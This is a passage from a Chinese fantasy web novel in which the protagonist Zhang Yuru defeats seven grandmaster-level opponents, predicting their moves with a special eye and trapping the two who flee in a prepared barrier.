毕竟,李虚临的惨状就在眼前,张玉汝那招 “天人五衰” 对天人的克制太过致命,他可没信心接下这招。 另一边,李沉渊的表现截然相反。他双目赤红,周身土黄色的能量几乎凝成实质,双手重重拍向地面,瞬间掀起数道数丈高的土墙,朝着张玉汝碾压而去,嘴里还不断嘶吼着:“张玉汝!我要为虚临报仇!” 那副悲愤欲绝的模样,任谁看了都会觉得他是此刻最想与张玉汝拼命的人。 可只有李沉渊自己知道,他心底的恐惧早已压过了愤怒。 他与李虚临相交数百年,从少年时一同修炼,到后来并肩成为李家宗师,对方的实力他再清楚不过。 李虚临的空间能力攻防兼备,就算面对同级宗师也能周旋许久,却被张玉汝在瞬息间斩杀,连反抗的机会都没有。 若是张玉汝将目标转向自己,他能撑过几招? 这个念头像毒蛇般啃噬着他的心,而他之所以用愤怒掩饰,不过是想让其他人以为自己 “一心复仇”,从而忽略他暗中的动作。 此刻,他脚下的大地正悄然涌动,一道仅容一人通过的地下通道,已在他的操控下,朝着空间出口的方向缓缓延伸。 张玉汝在漫天攻击中从容闪避,墨色长刀时不时划出一道残影,将袭来的火焰、水箭、尖刺斩碎。 他的 「造化之眼」 早已将场中一切尽收眼底,秦止水那缕偷偷蔓延的水分子,李沉渊脚下悄然成型的地下通道,都没能逃过他的视线。 他嘴角勾起一抹冷笑,却没有立刻点破 —— 这些宗师平日里高高在上,视人命如草芥,如今面临生死危机,便只顾着各自逃窜,这般丑陋的嘴脸,倒是比他们之前的傲慢更显真实。 “怎么?打着打着,就想着跑了?” 张玉汝突然开口,声音带着一丝戏谑,手中长刀猛地横扫,一道漆黑的刀气将眼前的土墙劈成两半,“方才不是说要让我‘束手就擒’吗?现在这副模样,可不像是要擒住我的样子。” 他的话语像一道惊雷,让秦止水和李沉渊同时心头一紧。 秦止水下意识地加快了水分子的移动速度,李沉渊则猛地加大了土墙的攻击力度,试图用更猛烈的攻势掩盖自己的慌乱。 而李九天等人听到这话,也纷纷侧目 —— 他们虽未察觉两人的小动作,却也从张玉汝的话里,嗅到了一丝不寻常的气息。 场中的氛围,瞬间变得更加微妙。六位宗师的围攻依旧在继续,可那层 “同仇敌忾” 的表象,已然出现了裂痕。 “受死吧!张玉汝!” 秦止水周身水汽暴涨,化作奔腾的水龙直冲天际,仿佛要将整片崩坏的空间淹没;李沉渊则双拳砸向地面,厚重的岩石层翻涌凸起,化作数十根尖锐的石刺,朝着张玉汝的方向极速穿刺。 两人的攻击声势浩大,尽显宗师级能力者的威慑力,连一旁的赵烈阳与魏山宗都以为他们要发起决死一击。 可下一秒,异变陡生。 水龙在半空骤然溃散,化作漫天水雾朝着空间出口飘去,秦止水的身影在水雾中模糊,竟是借着水分子的掩护,瞬间置换到了出口附近。 李沉渊操控的石刺也戛然而止,他脚下的地面裂开一道缝隙,整个人沉入地下,只留下一道土黄色的能量轨迹,同样朝着出口方向延伸。 两人几乎是同一时间放弃攻击,用早已准备好的手段仓皇逃窜,动作干脆利落,没有丝毫犹豫。 不远处的柳千丝也下意识地催动林木之力,想要跟着一同撤离,可她凝聚藤蔓的速度终究慢了半拍,等反应过来时,秦止水和李沉渊早已消失在空间出口的方向,只留下她僵在原地,脸色一阵青一阵白。 “你们!” 李九天看着两人逃走的方向,气得浑身发抖,紫色的雷霆在他周身狂暴地窜动。 “临阵脱逃,简直丢尽了天人的脸面!” 他实在无法理解,同为李家高层,秦止水和李沉渊为何会如此贪生怕死,明明再坚持片刻,或许就能找到张玉汝的破绽。 “少去操心他们了,先保住自己的性命再说吧。” 张玉汝的声音在耳边响起,李九天猛地回神,只见一道黑影已然欺至身前,张玉汝的右拳裹挟着黑白二色的能量,径直砸向他身前的雷霆阵法。 “咔嚓” 一声脆响,由紫电凝聚而成的阵法瞬间崩碎,雷霆之力四散飞溅,李九天被拳风震得连连后退,嘴角溢出一丝鲜血。 好在赵烈阳及时祭出火焰护盾,将李九天护在身后,魏山宗也操控大地之力筑起厚重的石墙,才勉强挡住了张玉汝的后续攻势。 退到安全区域的李九天,看着张玉汝那势不可挡的身影,心中满是憋屈与疑惑。 秦止水和李沉渊虽然算不上顶尖宗师,但也绝非贪生怕死之辈,为何会在关键时刻突然溃逃?难道仅仅是因为畏惧张玉汝的实力? 就在他心神不宁之际,脑海中忽然闪过一个念头,让他浑身一震。 “不对,这是叶家的心灵干涉!” 李九天猛然抬头,目光在战场中四处扫视,试图找到叶平的身影 —— 叶平作为叶家嫡系,最擅长的便是用心灵之力干扰他人心神,可放眼望去,除了崩坏的空间与激战的几人,哪里还有叶平的踪迹? 看着李九天惊疑不定的模样,张玉汝嘴角勾起一抹淡淡的笑意,没有解释,也没有停顿,脚下猛地发力,再次朝着三人冲去。 没人知道,李九天只猜对了一半。 秦止水和李沉渊的溃逃,的确与 “心灵干涉” 有关,但并非仅仅来自早已化作烟尘的叶平,而是源于张玉汝手中的一件宝物 —— 玄霜云珀。 这件取自凉风之山的至宝,凝聚了整座山脉的天地灵气,而凉风之山最特殊的地方,便是能通过灵气干扰人的情绪,让人变得偏激、冲动,做出原本不会做的选择。 玄霜云珀继承了这种特性,悄无声息间便影响了在场几位宗师的心神。 当然,叶平所属的叶家,其掌握的心灵干涉能力,远比玄霜云珀的影响更为恐怖。 在天人家族的体系中,叶家之所以能常年稳居前列,靠的便是这独步天下的 “心灵干涉” 能力。 与其他家族依靠元素、体魄等外在力量不同,叶家的能力直指人心 —— 他们能悄无声息地潜入他人意识,放大对方内心的恐惧、贪婪、怯懦等情绪,甚至能在对方毫无察觉的情况下,篡改其短期记忆,引导其做出违背本心的决策。 这种能力,堪称 “无形之刃”。 当年叶家曾仅凭一位宗师级心灵能力者,便让三个家族自相残杀,不费一兵一卒便吞并了对方的势力。 也曾在异兽围城时,通过干扰异兽首领的心神,让数万异兽军阵不攻自破。 更可怕的是,这种能力难以防御,除非是精神力远超施术者的强者,否则根本无法察觉自己正在被操控。 正因如此,其他天人家族对叶家的能力既忌惮又艳羡。 李家曾耗费百年时间,试图通过血脉融合、秘法修炼等方式复刻类似能力,却始终只能做到粗浅的情绪干扰,远不及叶家那般神不知鬼不觉。 在玄霜云珀的影响下,秦止水和李沉渊内心原本潜藏的 “畏惧” 被无限放大。 他们或许本就有退意,但碍于天人的颜面和家族的责任,绝不会轻易付诸行动;可在情绪被干扰后,那份畏惧压过了所有顾虑,让他们毫不犹豫地选择了逃窜 。 就像被叶家心灵能力操控时一样,他们甚至不会觉得自己的行为有何不妥,只当是 “保全自身以图后计” 的明智之举。 此刻,李九天虽然猜到了 “心灵干涉” 的存在,却找错了源头,更不知道张玉汝手中的玄霜云珀。 张玉汝的身影在战场中穿梭,黑白二色的能量不断撕裂空气,赵烈阳的火焰被轻易扑灭,魏山宗的石墙接连崩碎,李九天的雷霆更是难以触碰到他的衣角。 失去了秦止水和李沉渊的牵制,剩下四人根本无法抵挡张玉汝的攻势,只能在节节败退中,感受着死亡的阴影不断逼近。 第 58章 灭宗 战局彻底陷入诡异的胶着 —— 准确来说,是张玉汝一个人对李九天四人的单方面压制。 李九天周身紫电狂舞,一次次凝聚出雷霆巨刃劈向张玉汝,却总被对方以毫厘之差避开,那柄墨色长刀甚至能借势斩开电流,让雷霆之力反噬自身。 赵烈阳的焚天烈焰化作火龙盘旋,试图将张玉汝困在火网之中,可火焰刚要合拢,就被张玉汝挥手释放的「枯荣」能量侵蚀,原本炽热的火焰瞬间变得黯淡,如同被抽走了所有生机。 魏山宗催动大地之力,无数石刺从张玉汝脚下破土而出,却在触及对方周身黑白光晕的刹那,化作漫天碎石簌簌落下。 柳千丝的毒藤如毒蛇般缠绕,带着足以麻痹兽王的剧毒,可每次刚靠近张玉汝,就被他用刀风斩断,断裂的藤蔓落地便迅速枯萎,连毒性都被彻底消解。 四人拼尽全力,却连张玉汝的衣角都碰不到。他们只能跟在张玉汝身后疲于奔命,像被牵着鼻子走的木偶。 张玉汝向左闪,李九天的雷霆就劈空在右侧;张玉汝向前冲,赵烈阳的火网就困不住后方。 他甚至能故意露出破绽,引诱魏山宗和柳千丝联手攻击,再借着两人招式的间隙,反过来逼得他们狼狈后退。 战斗的节奏,从始至终都牢牢攥在张玉汝手里,四人连招架的余地都很少,更别说主动发起攻势。 要知道,他们都是宗师级能力者,这个级别的存在,在神州国早已是凤毛麟角般的存在 —— 无论是天人家族,还是各地的霸主势力,亦或是镇守边境的军方,宗师都是撑起势力的 “基石”。 整个神州国,把隐藏的老怪物、闭关的强者全都算上,宗师级能力者的数量也才堪堪突破四位数,可以说,只要拥有一名宗师级能力者,就能够成为一个的地区叫得上名字的势力。 按照常理,宗师级能力者的战力早已形成固定认知:同级别交手,能做到 “以一敌二” 已是极限,而且必须是借助地形、克制属性等优势,才能勉强维持不败。 若是生死相搏,别说以一敌四,就算面对两个同级别对手,都得做好付出重伤代价的准备。 可现在,张玉汝却打破了所有常理。他面对的是李九天、赵烈阳、魏山宗、柳千丝四位宗师。 四人分属雷电、火焰、大地、林木四种属性,彼此之间还能形成简单的配合,按理说足以将张玉汝逼入绝境。 可事实却是,张玉汝不仅游刃有余,甚至还能时不时发起反击,逼得四人连连后退,这种 “以一敌四且占据上风” 的场面,已经超出了所有人对宗师战力的认知。 李九天喘着粗气,紫电缠绕的双手微微颤抖。 他实在想不通,明明都是宗师,为何差距会如此悬殊? 他能感受到张玉汝身上的能量波动,并没有远超自己,可对方的反应速度、招式衔接、甚至对能量的操控精度,都像是经历了千百年的打磨,每一次出手都恰到好处,总能精准克制他们的攻击。 赵烈阳的脸色也难看到了极点,他的火焰之力消耗极大,额头上布满了汗珠,却连张玉汝的防御都没能打破。 “这家伙…… 到底是怎么做到的?” 他忍不住低吼出声,声音里带着一丝难以置信的挫败 —— 作为赵家最年轻的宗师,他从未想过,自己有一天会在同级战斗中如此狼狈。 柳千丝的毒藤已经消耗了大半,她看着张玉汝如同闲庭信步般的身影,眼神里满是恐惧。她能感觉到,张玉汝似乎根本没尽全力,对方就像在戏耍他们,这种被轻视的感觉,比战败更让她难受。 只有魏山宗还在咬牙坚持,他不断催动大地之力加固防御,试图为其他人争取喘息的机会,可他心里清楚,这样的坚持撑不了多久。 张玉汝的每一次攻击,都在不断消耗他们的体力和能量,照这样下去,用不了多久,他们四人就会彻底被拖垮。 整个战场陷入一种诡异的寂静,只有能量碰撞的轰鸣声和四人粗重的喘息声。 所有人都明白,这场战斗的结果,或许从一开始就注定了。 只是没人能想通,张玉汝究竟凭什么,能做到以一敌四还占据上风,这根本不符合宗师级能力者的战力逻辑,仿佛他的存在,本身就是一个打破规则的异类。 李九天四人并非毫无还手之力 —— 若能毫无顾忌地施展出压箱底的手段,李九天的「九天紫雷阵」可引苍穹雷霆筑成绝杀之阵。 赵烈阳的「焚世火莲」能将方圆百里化为灰烬,魏山宗的「镇岳真身」可借大地之力硬撼强攻。 柳千丝的「万毒归心」更能让剧毒渗透经脉、瓦解生机。以四人的底蕴,联手之下绝非没有重创张玉汝的可能。 但张玉汝从一开始,就没给他们动用杀招的机会。 早年实力尚弱时,张玉汝便深谙 “以巧破力” 之道 —— 不与对手比拼能量强度,而是凭借敏锐的观察捕捉招式破绽,再以极致速度打乱对方节奏。 后来能力足以碾压对手,这种 “费力” 的战术便鲜少使用,可此刻面对四位宗师的合围,他毫不犹豫地重拾旧法,如同顶级猎手般,用精准的算计编织出一张无形的网。 战斗中,张玉汝双目始终闪烁着淡淡的混沌色,「造化之眼」以巅峰状态运转,将李九天四人的每一个动作都拆解成无数细节。 李九天凝聚雷霆时,指尖会先泛起微不可察的紫芒。 赵烈阳催动火焰前,胸口会随气息起伏绷紧半寸。 魏山宗调动大地之力时,双脚会下意识向左侧偏移三分;柳千丝酝酿毒藤时,鬓角的发丝会被微弱的能量气流吹动。 这些在旁人眼中与战斗无关的细微征兆,全都被「造化之眼」清晰捕捉,化作数据流涌入张玉汝的脑海。 而「加速世界」的加持,更让他的思维运转速度提升到了常人难以想象的境界。 数据流在他脑海中飞速流转、分析、整合,原本需要数秒才能做出的判断,此刻只需刹那便能完成。 世间从无绝对完美的招式,李九天四人已是宗师中的佼佼者,却仍会在招式衔接、能量转换的瞬间,露出转瞬即逝的破绽。 这些破绽短到不足百分之一秒,短到连他们自己都未曾察觉,却在张玉汝的感知中,如同黑夜中的明火般清晰。 “就是现在!” 当李九天再次抬手,指尖刚泛起紫芒的刹那,张玉汝的身影已如鬼魅般出现在他身侧,墨色长刀精准斩向他手腕处的能量节点。 李九天浑身一麻,凝聚到一半的雷霆瞬间溃散,紫电在掌心乱蹿,险些反噬自身。 他惊怒交加地后退,却见张玉汝早已转身,一脚踹在魏山宗即将踏向左侧的脚踝上,让对方调动的大地之力骤然紊乱,破土而出的石刺歪歪斜斜地砸向地面。 与此同时,赵烈阳刚要绷紧衣襟蓄力,张玉汝甩出的一道黑白能量便击中他胸口,火焰之力瞬间滞涩;柳千丝鬓角发丝微动,张玉汝掷出的碎石已精准打在她手腕穴位上,毒藤刚冒头便蔫了下去。 四人的攻击,次次都在即将成型的瞬间被打断。 他们如同被缚住手脚的猛兽,空有一身蛮力,却连全力一击都无法使出。 起初,他们以为张玉汝只是靠速度后发制人,可随着战斗持续,一种更令人毛骨悚然的感觉笼罩了他们 —— 张玉汝仿佛能未卜先知。 战斗进行到第二十分钟时,这种感觉达到了顶峰。 李九天刚想侧身避开张玉汝的刀势,同时凝聚雷霆反击,张玉汝却像早已看穿他的意图,提前变招,长刀直劈他闪避的路线。 赵烈阳计划假意强攻,实则引张玉汝进入火网,可他刚做出强攻的姿态,张玉汝便已转身退到火网范围之外。 魏山宗想联合柳千丝,一人正面牵制,一人从后方偷袭,两人还未眼神交汇,张玉汝便已跃至半空,同时挡住了两侧的攻势。 “他怎么可能知道我们要做什么?” 赵烈阳怒吼着,焚天烈焰疯狂燃烧,却只能徒劳地灼烧空气。 他的脸上布满汗珠,不仅是因为能量消耗,更是因为那种被彻底看穿的无力感 —— 就像自己的心思被人扒开,暴露在阳光下,连一丝隐藏的余地都没有。 柳千丝的脸色苍白如纸,她早已不敢轻易酝酿毒藤,生怕刚有动作就被张玉汝打断。 她能感觉到,张玉汝看她的眼神,就像在看一个透明的木偶,自己的每一个想法、每一个动作,都在对方的掌控之中。 魏山宗咬紧牙关,不断催动大地之力加固防御,可他心里清楚,这样的防御撑不了多久。 张玉汝收集的信息越多,对他们的招式、习惯、甚至思维模式就越了解,构建的战斗模型也越来越精准。 现在,对方不仅能打断他们的攻击,甚至能预判他们的战术,这样打下去,他们只会被一点点耗死。 李九天的脸色更是难看至极,紫电在他周身暴躁地游走,却找不到任何突破口。 他从未打过如此憋屈的仗 —— 明明是四位宗师联手,却被一个人压制得毫无还手之力,对方就像握着一把无形的钥匙,能轻易打开他们所有招式的 “后门”,这种从战术到心理的全面碾压,比单纯的实力差距更让人绝望。 张玉汝依旧游刃有余,墨色长刀在他手中如同臂使,每一次挥砍都精准无比。 他的大脑还在飞速处理着数据,战斗模型在一次次验证中不断完善,李九天四人的行动轨迹、招式逻辑、甚至心理波动,都已被他摸得一清二楚。 对他而言,这场战斗早已不是生死搏杀,更像是一场精准的 “数据实验”,而李九天四人,就是他用来完善模型的 “素材”。 战场之上,能量碰撞的轰鸣声依旧不绝于耳,可气氛却压抑得让人窒息。 李九天四人明知继续僵持只会越来越不利,却连改变战术的机会都没有 —— 因为他们的每一个改变,都早在张玉汝的预判之中。 这种近乎 “看穿未来” 的压制,早已超出了常规战斗的范畴,说是 BUG 般的存在也毫不为过。 不过能踏入宗师境的强者,谁手中没有一两手压箱底的 “BUG 级” 能力? 李九天的「雷霆狱」一旦展开,能在他所指定的范围内进行无休止雷电轰炸,在对方生命消散之前绝对不会停止。 赵烈阳的「焚天焰核」凝聚到极致,足以融化宗师级的防御,让敌人在高温中瞬间汽化。 魏山宗的「大地脉动」能操控方圆千米的地质结构,将对手困在不断塌陷的重力囚笼中。 柳千丝的「万毒归心」更是阴毒,无色无味的毒气能顺着能量波动侵入经脉,就算是宗师也得耗费大半功力才能逼出。 这些能力,随便拿出一种,都能在战场上掀起腥风血雨,足以让低级能力者闻风丧胆。 可现在,这些本该震慑四方的 “杀招”,却被张玉汝死死按在他们体内,连一丝施展的机会都没有。 就像刚才,李九天暗中凝聚雷霆之力,试图在掌心凝结「雷霆狱」的核心,只要再给他三息时间,就能将张玉汝困在雷电牢笼中。 可他指尖刚泛起一丝紫电微光,张玉汝就像提前知晓般,猛地挥刀斩出一道墨色刀气,精准劈在他凝聚能量的右手腕上。 刀气虽未造成实质伤害,却震散了他体内刚汇聚的雷霆之力,「雷霆狱」的凝聚瞬间中断,李九天只觉得气血翻涌,差点没稳住身形。 赵烈阳也试过暗中催动「焚天焰核」,他故意放缓攻势,装作体力不支的样子,想引张玉汝靠近,再突然引爆焰核。 可张玉汝压根不上当,反而借着他放缓攻势的间隙,主动发起攻击,刀风一次次逼向他凝聚焰核的丹田位置,逼得他不得不分心防御,好不容易汇聚的火焰之力,一次次在即将成型时被打断。 魏山宗和柳千丝的处境也好不到哪去。 魏山宗想借着脚下大地的掩护,悄悄激活「大地脉动」,可他刚调动一丝大地能量,张玉汝就像踩在他的 “脉搏” 上,脚步精准落在他能量传导的节点,硬生生截断了他与大地的联系。 柳千丝则试图将「万毒归心」的毒气混入藤蔓中,可她的手臂刚做出挥出藤蔓的预备动作,张玉汝就提前斩碎了她身前的空气,形成一道无形的气墙,将毒气反弹了回去,吓得她赶紧收招,生怕自己被毒气反噬。 四位宗师心中满是憋屈与无力。他们的 BUG 能力就像被上了锁,明明近在咫尺,却怎么也无法解锁。 而这一切的根源,都在于张玉汝那诡异的能力 —— 他总能在他们刚生出施展杀招的念头、甚至刚调动一丝能量时,就提前做出反应,用最简洁的方式打断他们的节奏。 张玉汝可没兴趣给敌人 “解锁” 杀招的机会。他不是那种追求刺激、喜欢给对手留一线生机的 “受虐狂”,更不会愚蠢到让敌人有机会施展杀招,反过来将自己逼入绝境。 对他而言,战斗的目的只有一个:以最小的代价,解决眼前的敌人。 此刻,他依旧保持着游刃有余的姿态,「造化之眼」将四位宗师的每一个细微动作、每一次能量波动都尽收眼底,「加速世界」则让他的思维运转速度飙升,能在瞬间分析出他们下一步的意图。 李九天指尖的微颤、赵烈阳呼吸的节奏变化、魏山宗脚下的能量流动、柳千丝眼神的闪烁,在他眼中都成了 “即将出招” 的信号。 他就像一位精准的猎手,不急不躁地游走在四位宗师之间,一次次在他们即将亮出獠牙时,轻巧地敲断他们的 “爪牙”。 随着时间推移,四位宗师的心态越来越急躁,原本沉稳的招式开始出现更多破绽,而张玉汝收集的数据也越来越完善,对他们能力的理解越来越深,预判也愈发精准。 这场战斗,早已不是单纯的战力比拼,而是一场极致的战术压制。 四位宗师空有 BUG 级的能力,却连施展的机会都没有,只能像被捆住手脚的巨人,在张玉汝的节奏中疲于奔命,一步步陷入绝望的泥潭。 能踏入宗师之境,李九天四人绝非庸碌之辈。 在连续几次被张玉汝预判动作、打断招式后,他们终于从最初的震惊与憋屈中回过神,意识到眼前的对手,可怕的并非单纯的战力,而是那双仿佛能 “看穿未来” 的眼睛,以及快到极致的反应速度。 “不能再被他牵着走!” 李九天嘶吼一声,周身紫电骤然暴涨,不再执着于凝聚雷霆巨刃,而是任由电流化作细密的电网,朝着四周疯狂扩散。 他放弃了精准攻击,想用无差别的范围攻击,逼张玉汝露出破绽。 可电网刚铺开,张玉汝便已踩着「加速世界」带来的残影,瞬移到电网覆盖的缝隙处,墨色长刀顺势劈出,一道黑白相间的刀气直逼李九天心口,逼得他不得不收回电网,狼狈格挡。 赵烈阳也红了眼,他猛地咬破舌尖,一口精血喷在掌心,火焰之力瞬间暴涨数倍,化作一头体长数丈的火焰雄狮,朝着张玉汝猛扑而去。这是赵家秘传的燃烧精血秘术,能短时间内提升战力。 然而,火焰雄狮刚扑到半空,张玉汝的「造化之眼」便已捕捉到雄狮动作的轨迹,他侧身避开狮爪,长刀精准刺入雄狮头颅的破绽处 —— 那是火焰能量最薄弱的节点。 只听 “轰” 的一声,火焰雄狮瞬间溃散,化作漫天火星,赵烈阳则因秘术被破,猛地喷出一口鲜血,踉跄后退。 魏山宗咬紧牙关,双手按在地面,催动毕生修为,只见大地剧烈震颤,无数巨大的岩石从地底升起,组成一道密不透风的石墙,将张玉汝与另外三人分隔开来。 “我来拖住他!” 他嘶吼着,试图用石墙为同伴争取喘息的机会。 可下一秒,张玉汝的身影便穿透石墙,原来他早已预判到魏山宗的意图,在石墙成型前便用「枯荣」能量侵蚀了墙体内部,让坚硬的岩石变得酥脆不堪。 长刀划过,魏山宗甚至没看清对方的动作,胸口便已被划出一道深可见骨的伤口,黑白能量顺着伤口涌入体内,瞬间摧毁了他的生机。 柳千丝脸色惨白,她知道自己已是强弩之末,毒藤消耗殆尽,体内能量也所剩无几。 她悄悄凝聚最后一丝力量,准备发动临死前的偷袭,可刚要出手,就对上张玉汝那双平静的眼睛 —— 对方早已看穿了她的心思。 “没必要做无谓的挣扎。” 张玉汝淡淡开口,话音未落,刀光已至,柳千丝甚至没来得及发出一声惨叫,便倒在了血泊中,体内的毒性在「枯荣」能量的侵蚀下,瞬间消散无踪。 短短数息之间,魏山宗与柳千丝相继陨落,战场只剩下李九天与赵烈阳。 李九天看着同伴的尸体,眼中满是绝望,他拼尽最后力气,再次凝聚出一道雷霆,却连张玉汝的衣角都没能碰到,便被对方反手一刀,斩断了右臂。 赵烈阳拖着受伤的身体,还想继续反抗,可他的火焰早已微弱如烛火,在张玉汝的刀气面前,毫无抵抗之力。 当最后一点火星在赵烈阳指尖熄灭时,他的生命也走到了尽头。 这位曾经不可一世的赵家宗师,缓缓倒在地上,眼中的不甘与愤怒,最终化为一片死寂。 李九天瘫坐在地,看着一步步走向自己的张玉汝,彻底失去了反抗的勇气。 张玉汝站在李九天面前,长刀上的血迹缓缓滴落,地面上的鲜血与碎石,在「枯荣」能量的作用下,渐渐化作飞灰。 “你们总说,天人的生命高人一等,可在我看来,你们不过是一群为了利益,连人性都丢掉的蛀虫。” 他看着李九天,眼神里没有丝毫波澜。 “今日,我便替那些被你们视为‘贱民’的人,讨回公道。” 刀光再起,李九天的惨叫戛然而止。 当最后一位宗师倒下时,整个空间彻底陷入死寂,只剩下空间崩塌的声音,以及张玉汝挺拔的身影,在一片废墟之中,显得格外孤寂。 第 59章 扫尾 即便全程被张玉汝压制,四位老牌宗师被逼入绝境时的反扑,依旧带着玉石俱焚的狠戾。 他们不惜燃烧生命力,爆发出远超平日的能量波动,攻势如同狂风骤雨般袭来,每一击都裹挟着足以重创宗师的威力。 但张玉汝的能力,成了他最坚固的屏障。 「颠倒」之力如同无形的盾牌,将对方半数致命攻击原路反弹,让他们在自相残杀中消耗元气。 「永恒」则恒定住他的状态,无论遭受多少次冲击,气息始终平稳,仿佛无视伤痛与消耗。 「枯木逢春」更在暗中运转,细微的黑白能量不断修复着他的身体,让他在高强度战斗中始终保持巅峰战力。 正是这三者的配合,让张玉汝在四位宗师的困兽之斗中站稳脚跟,最终将他们一一斩杀。 当最后一位宗师赵烈阳倒下,火焰彻底熄灭的瞬间,战场陷入死一般的寂静。 夏侯雪站在不远处,双手紧紧攥着衣角,瞳孔因震惊而放大。 她虽不懂宗师级战斗的深浅,却也能看出张玉汝以一人之力对抗四位强者的艰难,更明白 “斩杀四宗师” 这几个字背后,藏着怎样惊世骇俗的实力。 她张了张嘴,却发不出任何声音,只能怔怔地看着场中那个挺拔的身影,心中只剩下难以言喻的震撼。 与夏侯雪的懵懂震撼不同,李砚卿的脸色早已一片惨白,浑身甚至控制不住地微微颤抖。 作为李家的高门贵女,她自幼便知晓宗师级能力者的分量:每一位老牌宗师,都是家族耗费数百年资源培养出的基石,战力、经验、底蕴缺一不可。 而张玉汝,不过是刚刚突破宗师境的新晋者,却能以一敌四,将四位老牌宗师逼到燃烧生命反扑,最终还能全身而退、完成斩杀。 这根本不是 “强者” 二字能概括的,这是颠覆了整个神州国认知的神迹! 李砚卿清楚,就算是家族中最顶尖的宗师级能力者,面对这样的局面也未必能做到同样的事情。 在神州国的能力者体系中,“越级挑战” 的含金量,会随着等级提升呈几何级增长。 对李砚卿而言,初级能力者战胜中级能力者,不过是街头巷尾随处可见的戏码,最多让她随口称赞一句 “有点天赋”。 中级能力者逆袭高级能力者,虽稍显难得,却也在情理之中 —— 毕竟低阶能力者往往靠着一两招 “杀手锏” 立足,尚未形成完整的战斗体系,胜负本就存在偶然。 可这一切,在 “大师级” 门槛前戛然而止。 一旦突破至大师级,能力者的各项属性会完成一次全面蜕变,不仅能量掌控精度大幅提升,更会构建起属于自己的战斗逻辑,彻底告别 “存在短板” 的阶段。 此后的所谓 “短板”,不过是与其他大师级能力者相比的相对差距,想再实现越级挑战,几乎等同于痴人说梦。 而宗师级能力者,更是站在金字塔高层的存在。 在这个层级里,能凭借一己之力拖住两名同级别对手,就已是公认的 “翘楚”;若能做到以一敌二且占据上风,足以被各大势力奉为座上宾。 可张玉汝所做的,早已突破了这一认知的上限。 他并非依靠地形、偷袭等取巧手段,而是在正面战场上,以一敌四将四名老牌宗师尽数斩杀。 更令人心惊的是,这场战斗的起点,本是七名宗师的围猎 —— 算上最初被他突袭斩杀的空间类宗师李虚临,以及中途仓皇逃窜的李沉渊与秦止水,张玉汝的完整战绩赫然是 “对战七大宗师,杀五逃二”。 当这组数据在李砚卿脑海中清晰浮现时,这位见惯了天人家族秘辛的高门贵女,只觉得自己多年来构建的世界观正在剧烈震颤。 她曾以为,宗师级战力的天花板,是家族里那种能以一敌三的 “传说”,可张玉汝用一场酣畅淋漓的胜利,将这层天花板彻底击碎。 她看着场中那个正收刀而立的身影,心中涌起一股难以言喻的复杂情绪 —— 有恐惧,有震撼,更有一丝连她自己都不愿承认的敬畏。 以张玉汝此刻展现出的战力,以及他突破宗师境后便拥有的碾压性实力,李砚卿无比笃定:只要不出现意外,这位横空出世的强者,未来必然能踏入更高层次的 “大宗师” 之境。 而一旦张玉汝成为大宗师,后果将不堪设想。 李砚卿很清楚,寻常天人家族的底蕴,最多能供养一名大宗师,面对一位能够在宗师阶段以一敌七、杀五逃二的大宗师,恐怕连抵抗的资格都没有。 届时,整个神州国的势力格局,或许都会因这个男人的存在而彻底改写。 想到这里,李砚卿下意识地攥紧了衣袖,目光落在张玉汝身上时,再也没有了此前的高傲,只剩下深深的忌惮 —— 这个男人,已经用实力证明,他足以成为所有天人家族的 “噩梦”。 张玉汝对李砚卿与夏侯雪的存在视若无睹,墨色长刀归鞘的瞬间,他径直朝着独立空间深处走去,步伐沉稳,没有丝毫停顿。 夏侯雪望着他的背影,下意识咬紧了下唇,指尖不自觉地攥紧了裙摆 。 她清楚,无论当初背叛是出于何种缘由,自己终究是站在过张玉汝的对立面,此刻对方的无视,早已在她的预料之中,只是心头那股难以言喻的酸涩,还是忍不住翻涌上来。 李砚卿则站在原地,眉头微蹙,眼中闪过一丝迷茫。 作为李家嫡系,她自小便知晓 “斩草除根” 的道理,张玉汝连四位宗师都能尽数斩杀,没理由会放任自己这个李家弟子存活。 “他就这样放过我了吗?” 这个念头刚冒出来,就被她强压下去,直觉告诉她,事情绝不会这么简单。 果然,下一秒,张玉汝的动作便解答了两人的疑惑。 他停下脚步,从怀中取出一面古朴的铜镜 —— 镜面边缘雕刻着繁复的云纹,铜身泛着淡淡的青绿色锈迹,却丝毫不显陈旧,反而透着一股岁月沉淀的厚重感,正是此前被他收起的「碎空镜」。 只见张玉汝指尖轻轻拂过镜面,原本黯淡的铜镜骤然亮起一层银白光晕,他缓缓翻转镜面,将光芒投射向不远处那处空间出口。 银白镜光如水流般漫过出口区域,原本空无一物的虚空突然泛起涟漪,像是平静的湖面被投入石子。 紧接着,一个半透明的浑圆球体从涟漪中显现,球体表面萦绕着细密的黑白能量丝,正是张玉汝使用分身布下的「世界」。 张玉汝上前一步,伸出手掌按在球体表面,指尖微微用力,只听 “咔嚓” 一声脆响,那看似坚固的结界便如琉璃般碎裂开来,化作点点光屑消散在空气中。 结界破碎的瞬间,两道血淋淋的人影狼狈地摔落在地,正是此前趁乱逃走的秦止水与李沉渊。 此刻的两人早已没了宗师的体面:秦止水半边身子被灼烧得焦黑,原本梳理整齐的发丝散乱地贴在脸上,嘴角不断溢出黑血,显然是之前被反弹的攻击所伤。 李沉渊的情况更糟,他的左腿不自然地扭曲着,腰间缠着破损的布条,血迹早已浸透布料,脸上布满了惊恐与疲惫,眼神涣散,仿佛经历了一场漫长的折磨。 不等两人缓过神来,张玉汝抬手一握,墨色的能量在掌心凝聚,瞬间化作一柄能量长刀,刀身泛着冰冷的寒光,直指地面上的两人。 李砚卿与夏侯雪这才恍然大悟,原来张玉汝从始至终都没打算放过秦止水与李沉渊。 所谓的 “放任逃跑”,不过是他计划中的一环 —— 在正面被七位宗师围攻时,刻意留出破绽让两人逃离,既能减少正面战场的压力,也能将他们引入早已布好的陷阱。 事实上,早在张玉汝突袭李虚临的那一刻,这场战斗的走向就已被他牢牢掌控。 他之所以第一时间斩杀李虚临,正是因为对方是在场唯一的空间类宗师。 张玉汝很清楚,一旦战斗陷入胶着,李虚临必然会催动空间之力,带着其他宗师进行空间转移,到时候再想将他们一网打尽,无疑会难上数倍。 因此,除掉李虚临,就等于断掉了其他人最可能的退路。 而在失去李虚临的空间支援后,即便秦止水与李沉渊侥幸逃向出口,也绝不可能真正脱身。 早在战斗开始前,张玉汝便分出一道能量分身,潜伏在空间出口附近,并且找机会布下「世界」结界。 这结界本身的禁锢之力虽不足以长时间困住两位宗师。 但张玉汝将从凉风之山夺得的「玄霜云珀」嵌入结界核心 —— 玄霜云珀能放大情绪波动,让人心神不宁,再配合「碎空镜」扰乱空间坐标,使得结界内的空间呈现出一种混乱的 “循环状态”。 